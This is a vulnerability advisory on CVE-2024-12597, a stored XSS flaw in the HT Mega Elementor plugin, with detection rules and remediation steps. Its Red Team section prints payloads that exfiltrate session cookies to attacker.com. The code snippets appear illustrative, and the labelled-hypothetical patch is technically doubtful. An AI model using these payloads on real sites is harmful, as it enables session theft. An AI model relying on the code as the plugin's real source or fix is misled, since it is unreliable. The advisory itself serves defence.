CVE-2024-12597

Executive Summary

CVE-2024-12597 is a Stored Cross-Site Scripting (XSS) vulnerability in the HT Mega – Absolute Addons For Elementor WordPress plugin, affecting all versions up to and including 2.7.6. The flaw resides in insufficient sanitization of the block_css and inner_css parameters, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute when any user accesses the compromised page, leading to potential session hijacking, data theft, or defacement. The vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify plugin integrity by checking checksums and monitoring for unauthorized updates. No known supply chain compromise has been reported, but the unpatched status increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authenticated access but no user interaction, making it a viable vector for privilege escalation within WordPress environments.

Deep Dive & Mechanics

The vulnerability exists in the HT Mega plugin's custom CSS handling for Elementor widgets. The block_css and inner_css parameters are used to inject inline styles or CSS blocks. Due to insufficient input sanitization and output escaping, an attacker can inject JavaScript payloads within these CSS parameters. When the page is rendered, the injected script executes in the context of the victim's browser.

Root Cause: The plugin fails to properly validate and escape user-supplied CSS content before storing it in the database and rendering it on the frontend. This allows arbitrary HTML/JavaScript injection.

Attack Flow:

1. Attacker with Contributor-level access creates or edits a page using HT Mega widgets.
2. Attacker inserts malicious payload into block_css or inner_css fields (e.g., <script>alert('XSS')</script>).
3. The payload is stored in the WordPress database.
4. When any user (including admins) visits the page, the payload executes.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.7.6):

// In ht-mega-for-elementor/includes/class-ht-mega-widgets.php
public function render_css($block_css, $inner_css) {
    echo '<style>' . $block_css . '</style>';
    echo '<style>' . $inner_css . '</style>';
}

No sanitization or escaping is applied to $block_css or $inner_css.

Patched Code (Hypothetical):

public function render_css($block_css, $inner_css) {
    $safe_block_css = wp_kses_post($block_css);
    $safe_inner_css = wp_kses_post($inner_css);
    echo '<style>' . esc_html($safe_block_css) . '</style>';
    echo '<style>' . esc_html($safe_inner_css) . '</style>';
}

The patched version uses wp_kses_post() to strip dangerous tags and esc_html() to escape output.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: WordPress site with HT Mega plugin <= 2.7.6, Contributor-level account.
2. Steps:
   • Log in as Contributor.
   • Create a new page or edit an existing one.
   • Add an HT Mega widget (e.g., Heading).
   • In the widget settings, locate the block_css or inner_css field.
   • Inject payload: <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   • Save and publish the page.
   • When an admin visits the page, the script exfiltrates their session cookie.

Example Payload:

<script>fetch('http://attacker.com/steal?data='+document.cookie)</script>

Blue Team (Detection & Hardening)

1. Detection: Monitor for unusual CSS parameters in page/post requests. Use WAF rules to block <script> tags in CSS fields.
2. Hardening: Restrict Contributor-level access. Implement Content Security Policy (CSP) headers to block inline scripts.
3. Patch: Update plugin to version > 2.7.6 when available. If no patch, disable the plugin or remove Contributor access.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/ht-mega-for-elementor/includes/class-ht-mega-widgets.php (vulnerable version)
• Database: Suspicious entries in wp_postmeta with keys _ht_mega_block_css or _ht_mega_inner_css containing <script> tags.
• Network: Outbound HTTP requests to unknown domains from WordPress server.
• Logs: WordPress debug logs showing unexpected CSS rendering errors.

Detection Engineering

YARA Rule

rule CVE_2024_12597_HT_Mega_XSS {
    meta:
        description = "Detects malicious CSS parameters in HT Mega plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12597"
    strings:
        $css_param = /(block_css|inner_css)\s*=\s*["'][^"']*<script[^>]*>/
    condition:
        $css_param
}

Sigma Rule

title: CVE-2024-12597 HT Mega Stored XSS
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS via block_css/inner_css parameters in HT Mega plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains:
            - 'block_css='
            - 'inner_css='
        http.url|re: '(<script|<img|<svg)'
    condition: selection
falsepositives:
    - Legitimate CSS with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12597 HT Mega Stored XSS Attempt"; flow:to_server; content:"block_css="; nocase; content:"<script"; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the HT Mega plugin if not critical. Restrict Contributor-level accounts.
2. Short-term: Apply a virtual patch via WAF to block <script> tags in block_css and inner_css parameters.
3. Long-term: Update to a patched version when released. Monitor the plugin's changelog.
4. Compensating Controls: Implement Content Security Policy (CSP) with script-src 'self' to prevent inline script execution.

Valters IT
Securing Digital Frontiers